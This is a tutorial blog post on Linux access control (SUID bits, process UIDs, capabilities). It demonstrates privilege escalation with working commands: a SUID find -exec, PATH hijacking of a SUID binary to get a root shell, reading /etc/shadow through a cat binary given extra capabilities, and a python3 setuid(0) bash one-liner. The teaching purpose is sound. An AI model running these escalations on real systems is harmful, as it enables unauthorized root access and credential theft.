Understanding Privilege Escalation by Abusing Linux Access Control

Yani
InfoSec Write-ups
Published in
9 min readNov 11, 2022

--

(https://wallhere.com/en/wallpaper/1933281)

On Linux systems, privilege escalation is a technique by which an unprivleged user gains the illicit access of elevated rights, the Linux access control misconfiguration can be exploited to achieve the goal. . In this blog post, you will have a rudimentary understanding about Linux access control mechanism, how to get elevated permissions by utilizing suid and sgid binary, uid/suid/euid tampering and unrestrictive Linux capabilites.

Resources and Ownership

Before getting into access control mechanism, some basic concepts about file, user and process should be clarified in the first place. The Linux OS consists of files (everything is a file). A file has a owner which defaults to the user who creates it. Each user is associated with a user ID that can be given access to files. A human user can log in with a user account. A process is a program that the kernel has loaded for execution, a process can run as a user account. The high-level relationships between users, processes, and files in Linux is depicted as below:

Types of Access Control

Linux is a multiuser operating system, and it defines three access rights (read, write and execute) for files to protect them. There are two most important access control types DAC (Discretionary Access Control) and MAC(Mandatory Access Control):

  • Discretionary access control (DAC )

Discretionary access control restricts the access to files based on the identity of the user and/or group membership. Because the file owner can transfer the access to other user, DACs are discretionary.

  • Mandatory access control (MAC)

In MAC, the access is based on data confidentiality and user clearance levels, in other words, users are assigned a clearance level, and files are assigned a security label, when an user attempts to access a particular file, the Linux will examine the user’s clearance level and file’s security label to decide whether or not access will be provided. Only an admin configures these access policies and imposes access control, not the owner of the files. MAC is not the focus of this blog post.

File Permission Bits in DAC

Files can be accessed by the owner of the file (the one who created it), members of the group the file belongs to and everybody else. A file is always owned by one user d(u) and one group (g) and others (o). There are three common types of access: r (Read ), w (Write) and x (Execute) permissions. Therefore there are nine bits of information to describe the file permission. for example:

(https://danielmiessler.com/images/permissions.png)

Apart from r/w/x, Linux introduces three extra special bits: setuid (a.k.a SUID), setgid (a.k.a SGID) and sticky to implement additional restrictions or privileges. The setuid bit simply indicates that when running an executable, it will set its permissions to that of owner, instead of setting it to the user who launched it. setgit assigns an executable the privileges of the group who owns it rather than those of the group of the user who executed it. If sticky bit is applied to a file, only the owner or the root can remove the file.

Let us look at some sample results of “ls -l” to illustrate the concept above:

Example 1:

drwxrwxrwx 1 someuser somegroup 9 Apr 11 10:56 test

File owner is someuser and file group is somegroup

drwxrwxrwx is the permission bits, the first character indicates the type of file:

  • - for a regular file
  • d for a directory file
  • b for a block special device file
  • c for a character special device file
  • l for a symbolic link
  • p for a named pipe (create with mkfifo)
  • s for a socket
  • ? for some other (unknown) file type

Example 2:

drwsrwxrwx 1 someuser somegroup 9 Apr 11 10:56 test

As you can observe an s in the user section of the file permissions, the s is setuid bit. Sometimes you might see S which means setuid bit is on and the user execution bit is off.

Example 3:

drwxrwxrwt 1 someuser somegroup 9 Apr 11 10:56 test

There is a t at the end of the permissions table. Similarly T is used when sticky bit is turned on and the execution bit for other is off.

Privilege Escalation Example on SUID bit

The executable with SUID is also called SUID executable. Due to the nature of SUID executables, it is always the target for attackers to exploit for an elevation-of-privilege. You can use the command as below to find all the SUID executables:

[test@InfoSecTest01 tmp]$ find / -perm -u=s -type f 2>/dev/null
....
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/crontab
/usr/bin/mount
/usr/bin/umount
/usr/bin/chsh
/usr/bin/find
/usr/bin/gpasswd
...

It is weird that find command in the result list, as typically find command should not be assigned with suid bit. Check the find command:

[test@InfoSecTest01 tmp]$ ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199304 Oct 31 2018 /usr/bin/find

Next, you can try to perform privilege escalation follow the steps in the below:

[test@InfoSecTest01 tmp]$ touch priv

[test@InfoSecTest01 tmp]$ find priv -exec "id" \;
uid=3017(test) gid=3017(test) euid=0(root) groups=3017(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[test@InfoSecTest01 tmp]$ find priv -exec "whoami" \;
root

It is observed that the euid=0(root) in results of find priv -exec "id" \; we will explain what euid means in the process permission section.

Process Permissions in DAC

Now we shift the focus from files to processes to see the permissions from a process point of view.

Every process has three different UIDs:

  • Real UID (ruid): UID of user that spawned the process, it represents the process (not file) ownership.
  • Effective UID (euid): determines what level of permissions the current process has when access resources.
  • Saved set-user-ID (suid): it is used when a process assumes different privilege by switching its effective UID back and forth between the values in its real UID and saved set-user-ID

Let us use /usr/bin/passwd to explain these three UIDs. Check the permission of /usr/bin/passwd, you can see the setuid bit is enabled.

-rwsr-xr-x. 1 root root 27856 Apr  1  2020 /usr/bin/passwd

/usr/bin/passwd is owned by root, as we mentioned above, setuid bit indicates that when an unprivileged user executes it, it will run with the privileges of root, it is because the EUID is set to ID of owner(root) (just as euid=0(root) in the above exploitation example with find command). In the meantime, RUID is set to the caller (the unprivileged user), but oftentime /usr/bin/passwd wants to perform actions in the context of the caller (the unprivileged user), not in the context of the owner (root), it switches its EUID to the RUID (the unprivileged user). To prevent the loss of its original EUID (ID of root), before the process changes it EUID to the RUID (the unprivileged user), its actually saves the original EUID (ID of root) in the saved user id (SUID). So if the process complete its unprivileged work, it can regain it's superuser privilege by accessing the SUID.

But the temporary EUID of the root user allows a program/file sufficient power for attackers to perform privilege escalation.

You can get and set process UIDs in your own C program with build-in subroutines:

uid_t geteuid(void) — obtain EUID

uid_t getuid(void) — obtain RUID

uid_t getresuid(void) — obtain EUID, RUID and SUID

int setuid(uid_t uid) — all process-related user ID’s are set to uid (When executed by the superuser)

int seteuid(uid_t euid) — sets the effective user ID of the calling process to euid

int setreuid(uid_t ruid, uid_t euid) — sets real and effective user IDs of the calling process

Note: Setting UIDs is an intricate part, behaviors of these subroutines varies under different scenarios, and UIDs might not be always set successfully, so always check the return value.

Privilege Escalation Example on process UID

Assuming you as user test spot a suspicious SUID executable called worker under /tmp:

test@debian:/tmp$ ls -l
-rwsr-xr-x 1 root root 16664 Nov 9 23:06 worker
-rw-r--r-- 1 root root 71 Nov 9 23:06 worker.c

worker.c is source code of worker, check its content:

test@debian:/tmp$ cat worker.c
#include <unistd.h>
void main(void){
setuid(0);
system("exp");
}

When an unprivileged user executes worker program, it will be launched with EUID 0 and SUID 0, after setuid(0) is called inside the worker.c program to elevate the privileges, the external system("exp") on the next line will be executed with root permissions.

To exploit it, simply copy /bin/sh as exp in the /tmp directory

test@debian:/tmp$ cp /bin/sh ./exp

Then set PATH env.

test@debian:/tmp$ PATH=.:$PATH

Execute it again, the you will get root privilege.

test@debian:/tmp$ ./worker
test@debian:/tmp$ id
uid=0(root) gid=1001(test) groups=1001(test)

Other exploits like Shared Object/Libarary Injection or Mounted Filesystems with SetUID all rely on the similar technique to elevate the permissions.

Drawback of DAC

DAC has its drawbacks, it only provides 3 permissions — read, write and execution. A process (for example /usr/bin/passwd ) is granted root privileges, it might only need a fraction of these privileges, the overly permissive permissions bring security implication. So here comes Linux capabilities to strengthen the security of Linux systems.

Linux Capabilities to Break up Root Permissions

Capabilities in Linux are used to provide unprivileged processes fine-grained access to kernel resources. It breaks up root privileges into small ones so only a portion of root privileges can be granted to targets. ~40 capabilities are listed https://man7.org/linux/man-pages/man7/capabilities.7.html. Abusing these capabilities enpowers malicious actors to break security restrictions with ease. For example, CAP_DAC_READ_SEARCH capability allows a process to bypass file read, and directory read and execute permissions. If a program(for example /bin/cat) happens to have this capability, it can enable an unprivileged user to read files containing confidential information like /etc/shadow.

There are three CLI utilities to manage the capabilities in Linux:

  • capsh — print the capabilities of the current context
  • setcap — set or unset the capabilities to regular files
  • getcap — get the capabilities from the file or recursively in directories

We will use these CLI utilities on /bin/cat to showcase how CAP_DAC_READ_SEARCH capability helps an attacker to bypass the file read permissions.

As you known, /etc/shadow is probidden from an unprivileged user test:

test@machine1:/~$ /bin/cat /etc/shadow
/bin/cat: /etc/shadow: Permission denied

Assuming that root assigned CAP_DAC_READ_SEARCH capability to /bin/cat by mistake. To get misconfigured /bin/cat, switch to root, and grant CAP_DAC_READ_SEARCH capability to /bin/cat .

root@machine1:~$ setcap cap_dac_read_search=eip /bin/cat

What’s the meaning of the strange =eip suffix? This requires digging into the nature of capabilities, e, i and p refer to the effective , inhertable and pemitted capabilities sets. The explanation of the capability sets is out of the scope of this blog post. The command above adds CAP_DAC_READ_SEARCH capability to these three capabilities sets of /bin/cat.

Verify the CAP_DAC_READ_SEARCH capability is granted to /bin/cat successfully:

root@machine1:~$ getcap /bin/cat
/bin/cat cap_dac_read_search=eip

Now switch back to the normal user test and try the /bin/cat command on /etc/shadow again, now the /etc/shadow is accessible to user test:

test@machine1:/~$ /bin/cat /etc/shadow
root:*:19140:0:99999:7:::
daemon:*:18964:0:99999:7:::
bin:*:18964:0:99999:7:::
...

Privilege Escalation Example on Linux Capabilities Misconfiguration

Apart from the example above, let us go through another example to understand Linux capabilities misconfiguration induced privilege escalation.

List python3 and you find there is nothing special about it.

test@machine1:/~$ ls -al /usr/bin/python3
lrwxrwxrwx 1 root root 9 Apr 5 2021 /usr/bin/python3 -> python3.9
test@machine1:/~$ ls -al /usr/bin/python3.9
-rwxr-xr-x 1 root root 5479736 Mar 1 2021 /usr/bin/python3.9

To search binaries with capabilities, you can choose the command as below:

test@machine1:/~$ getcap -r / 2>/dev/null
/usr/bin/python3.9 cap_setuid=ep

Luckily, python3.9 has cap_setuid capability, cap_setuid means it is possible to set the EUID of the created process, therefore taking advantage of this permission, you can escalate into high privilege using the method as below:

test@machine1:/~$ python3  -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@machine1:/~$ id
uid=0(root) gid=1001(test) groups=1001(test)

Now you already get root privilege!

Search online you will find numerous examples of abusing a wide range of Linux capabilities for a non-root user to elevate the privileges.

Final Thoughts

If you have any questions or feedback, feel free to leave a comment. If you think this blog post is helpful, please click the clap 👏 button below a few times to show your support!

From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!

--

--

Focusing on Security for Web Application, AWS and Kubernetes, etc. | CKA&CKS, AWS Security & ML Specialty | https://www.linkedin.com/in/yani-dong-041a1b120/